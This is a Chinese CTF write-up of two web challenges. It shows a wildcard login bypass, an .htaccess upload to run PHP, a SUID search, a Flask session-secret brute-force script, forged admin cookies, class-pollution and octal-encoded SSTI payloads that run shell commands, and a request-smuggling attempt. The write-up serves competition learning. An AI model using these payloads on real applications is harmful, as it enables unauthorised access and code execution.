目录

  1. 1. 前言
  2. 2. SQLUP
  3. 3. CandyShop(复现)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

第四届“长城杯”网络安全大赛暨京津冀网络安全技能竞赛(初赛)

2024/9/8 CTF线上赛 提权 Sql
  |     |   总文章阅读量:

前言

参考:

https://mp.weixin.qq.com/s/26g_S3des0YHp3uAM29UqA

https://xz.aliyun.com/t/15561


SQLUP

进去是一个登录框

需要POST传入参数username和password

f12发现hint:The developer likes to use fuzzy matching in the login module.

测试发现存在过滤返回 Illegal Input Detected! ,fuzz一下看看过滤了什么

image-20240908100216961

结合hint,直接尝试用%模糊匹配

image-20240908100825312

进去之后有一个上传头像的功能

尝试传马,发现文件名过滤了p,先随便上传个txt

image-20240908101508568

发现上传位置在 uploads/ 下

传.htaccess文件即可绕过

AddType application/x-httpd-php .gif

image-20240908102230008

发现flag没有读取的权限,尝试find提权

find / -perm -u=s -type f 2>/dev/null

image-20240908102332835

发现 tac 能用,直接读取flag即可

image-20240908102453739


CandyShop(复现)

import datetime
from flask import Flask, render_template, render_template_string, request, redirect, url_for, session, make_response
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length
from flask_wtf import FlaskForm
import re


app = Flask(__name__)

app.config['SECRET_KEY'] = 'xxxxxxx'

class RegistrationForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Register')
    
class LoginForm(FlaskForm):
    username = StringField('Username', validators=[DataRequired(), Length(min=2, max=20)])
    password = PasswordField('Password', validators=[DataRequired(), Length(min=6, max=20)])
    submit = SubmitField('Login')

class Candy:
    def __init__(self, name, image):
        self.name = name
        self.image = image

class User:
    def __init__(self, username, password):
        self.username = username
        self.password = password

    def verify_password(self, username, password):
        return (self.username==username) & (self.password==password)
class Admin:
    def __init__(self):
        self.username = ""
        self.identity = ""

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

candies = [Candy(name="Lollipop", image="images/candy1.jpg"),
    Candy(name="Chocolate Bar", image="images/candy2.jpg"),
    Candy(name="Gummy Bears", image="images/candy3.jpg")
]
users = []
admin_user = []
@app.route('/register', methods=['GET', 'POST'])
def register():
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, password=form.password.data)
        users.append(user)
        return redirect(url_for('login'))
    
    return render_template('register.html', form=form)

@app.route('/login', methods=['GET', 'POST'])
def login():
    form = LoginForm()
    if form.validate_on_submit():
        for u in users:
            if u.verify_password(form.username.data, form.password.data):
                session['username'] = form.username.data
                session['identity'] = "guest"
                return redirect(url_for('home'))
    
    return render_template('login.html', form=form)

inventory = 500
sold = 0
@app.route('/home', methods=['GET', 'POST'])
def home():
    global inventory, sold
    message = None
    username = session.get('username')
    identity = session.get('identity')

    if not username:
        return redirect(url_for('register'))
    
    if sold >= 10 and sold < 500:
        sold = 0
        inventory = 500
        message = "But you have bought too many candies!"
        return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)

    if request.method == 'POST':
        action = request.form.get('action')
        if action == "buy_candy":
            if inventory > 0:
                inventory -= 3
                sold += 3
            if inventory == 0:
                message = "All candies are sold out!"
            if sold >= 500:
                with open('secret.txt', 'r') as file:
                    message = file.read()

    return render_template('home.html', inventory=inventory, sold=sold, message=message, candies=candies)


@app.route('/admin', methods=['GET', 'POST'])
def admin():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    admin = Admin()
    merge(session,admin)
    admin_user.append(admin)
    return render_template('admin.html', view='index')

@app.route('/admin/view_candies', methods=['GET', 'POST'])
def view_candies():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    return render_template('admin.html', view='candies', candies=candies)

@app.route('/admin/add_candy', methods=['GET', 'POST'])
def add_candy():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    candy_name = request.form.get('name')
    candy_image = request.form.get('image')
    if candy_name and candy_image:
        new_candy = Candy(name=candy_name, image=candy_image)
        candies.append(new_candy)
    return render_template('admin.html', view='add_candy')

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

@app.route('/admin/add_inventory', methods=['GET', 'POST'])
def add_inventory():
    global inventory
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    if request.form.get('add'):
        num = request.form.get('add')
        inventory += int(num)
    return render_template('admin.html', view='add_inventory')

@app.route('/')
def index():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=1337)

一眼原型链污染,那么只要想办法伪造进admin就行了

随便注册个用户,然后取session下来解一下看看

image-20240908104740351

接下来想办法得到 SECRET_KEY ,但是看了一圈没找到明显可利用的点

接下来就把重点放在依赖上面

发现一个有意思的事,不管用户名怎么变,csrf_token永远不变,而csrf_token的生成在

image-20240908113612870

也就是和 session 共用一个secret_key

但是依旧没办法获取key

注意到靶机的 server 是 gunicorn/20.0.4,尝试请求走私:

GET /secret.txt HTTP/1.1
Host: 8.147.134.24:19525
Content-Length: 412
Sec-Websocket-Key1: x

xxxxxxxxGET /secret.txt HTTP/1.1
Host: 8.147.134.24:19525
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1

无事发生。。。寄

不是哥们,7位key真爆破啊😰,生成一个7位字典然后flask_unsign最后爆破得到的key为 a123456

爆破脚本 by Jay17:

import itertools
import flask_unsign
from flask_unsign.helpers import wordlist
import requests as r
import time
import re
import sys

path = "../my_wordlist.txt"

print("Generating wordlist... ")

#如果wordlist.txt为自定义字典,注释掉下面三行
# with open(path,"w") as f:
#     #permutations with repetition
#     [f.write(''+"".join(x)+''+"\n") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=4)]   #加上前缀

#url = "http://47.115.201.35:8000/index"
#cookie_tamper = r.head(url).cookies.get_dict()['session']
cookie_tamper='eyJjc3JmX3Rva2VuIjoiZjA1YjlmY2FkMjczNzcyNDFhYjY1ZWZhZGY2YmYzOWE2NWY5YzcxNSIsImlkZW50aXR5IjoiZ3Vlc3QiLCJ1c2VybmFtZSI6IkpheTE3In0.Zt00Pw.GxBaXRtuaBeDFi8npGhKn2J1-cc'
print("Got cookie: " + cookie_tamper)

print("Cracker Started...")

obj = flask_unsign.Cracker(value=cookie_tamper)

before = time.time()

with wordlist(path, parse_lines=False) as iterator:
            obj.crack(iterator)

secret = ""
if obj.secret:
    secret =obj.secret.decode()
    print(f"Found SECRET_KET ~{secret}~ in {time.time()-before} seconds")

signer = flask_unsign.sign({"time":time.time(),"authorized":True},secret=secret)

伪造成admin

python flask_session_cookie_manager3.py encode -s "a123456" -t "{'csrf_token': '92cce9aeb377285f6daf96bd679fc01ec8207986', 'identity': 'admin', 'username': 'aaa'}"

.eJwVy0EKgCAQAMC_7LmDGanbZ2JdV5DQQO0Q0d-z68A8wK3GvZ-HFNgANbMgiV-s1W6NJlBE44OxGFnNwk4ri87ABClI6anfY1HIqQy6mtRCWX4igvcDVj4c_g.ZuP7yg.dnVE6_9QjhdRbmm8DDia4g5dVIA

然后就能进/admin了,接下来就是原型链污染了

直接在 /admin 修改 session 污染全局变量sold

python flask_session_cookie_manager3.py encode -s "a123456" -t "{'csrf_token': '92cce9aeb377285f6daf96bd679fc01ec8207986', 'identity': 'admin', 'username': 'aaa', '__init__':{'__globals__':{'sold':600}}}"

.eJwly8sKwyAQheF3mXUXxlJvLyOjjkFqRoh2UYLvHkt35__gXBD7mf1ob2JwYGWMZJHCU2tpXlklzFaFpLTNUWwUjRTaGgUPKIl4lPFdL0xH4UWfTifjQT9CXOB94TK8B3etvdcWsPZ_9lYTOCXEnPMG7MwqbA.ZuP_Vw.RX77ZcM_hjJF_KxUBVPYkEIgLxM

image-20240913170211809

其实到这里应该可以直接用经典非预期 _static_folder 污染成对应位置直接拿flag了

现在看 /admin/view_inventory

@app.route('/admin/view_inventory', methods=['GET', 'POST'])
def view_inventory():
    username = session.get('username')
    identity = session.get('identity')
    if not username or identity != 'admin':
        return redirect(url_for('register'))
    inventory_value = sanitize_inventory_sold(inventory)
    sold_value = sanitize_inventory_sold(sold)
    return render_template_string("商店库存:" + inventory_value + "已售出" + sold_value)

def sanitize_inventory_sold(value):
    return re.sub(r'[a-zA-Z_]', '', str(value))

渲染的参数都是我们可控的,而这里的sanitize_inventory_sold过滤了字母,是无字母rce

不过 flask 可以直接用八进制绕过

{{''.__class__().__bases__[0]['__subclasses__'][133]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("calc").read()')}}


{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\143\\141\\154\\143\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}

继续在 /admin 伪造session污染

python flask_session_cookie_manager3.py encode -s "a123456" -t "{'csrf_token': '92cce9aeb377285f6daf96bd679fc01ec8207986', 'identity': 'admin', 'username': 'aaa', '__init__':{'__globals__':{'inventory':'{{\'\'[\'\\137\\137\\143\\154\\141\\163\\163\\137\\137\'][\'\\137\\137\\142\\141\\163\\145\\163\\137\\137\'][0][\'\\137\\137\\163\\165\\142\\143\\154\\141\\163\\163\\145\\163\\137\\137\']()[133][\'\\137\\137\\151\\156\\151\\164\\137\\137\'][\'\\137\\137\\147\\154\\157\\142\\141\\154\\163\\137\\137\'][\'\\137\\137\\142\\165\\151\\154\\164\\151\\156\\163\\137\\137\'][\'\\145\\166\\141\\154\'](\'\\137\\137\\151\\155\\160\\157\\162\\164\\137\\137\\050\\042\\157\\163\\042\\051\\056\\160\\157\\160\\145\\156\\050\\042\\143\\141\\154\\143\\042\\051\\056\\162\\145\\141\\144\\050\\051\')}}'}}}"

.eJyFkNFuhCAQRf-FF7tJHxAY0P2VtSGo2JDuYqK2SWP49wVcarW2fZnAMOfeO8yoGYdOTv2btuiMStI0ulS6pkKQAjreqq7kdctF2TU4101BsCgLjp6RabWdzPTpKdXejPWt91EPVt10aCnlG1IaayYp0Xn259drX6vruFyN_fB8PwR-nrPsklVVTkUqjPoCLJxyXzhN5TGSvewBspll8BPAe2ZRhS_6N88DsafTJad0LwiBA55OnP0VWCQ32OaPvf93jblhBdjG_4BftuCrjd_iKH4cwykXJ7tFqgqDf8UxBKRvjFccBPDivwrg5B0evrHxu9eN2ZEKSWycYywJQJ6dnEPOuTt3OcH8.ZuQENw.g6kUGTeAmtyztJGl3alH4O3wI_I

然后访问 /admin/view_inventory 即可rce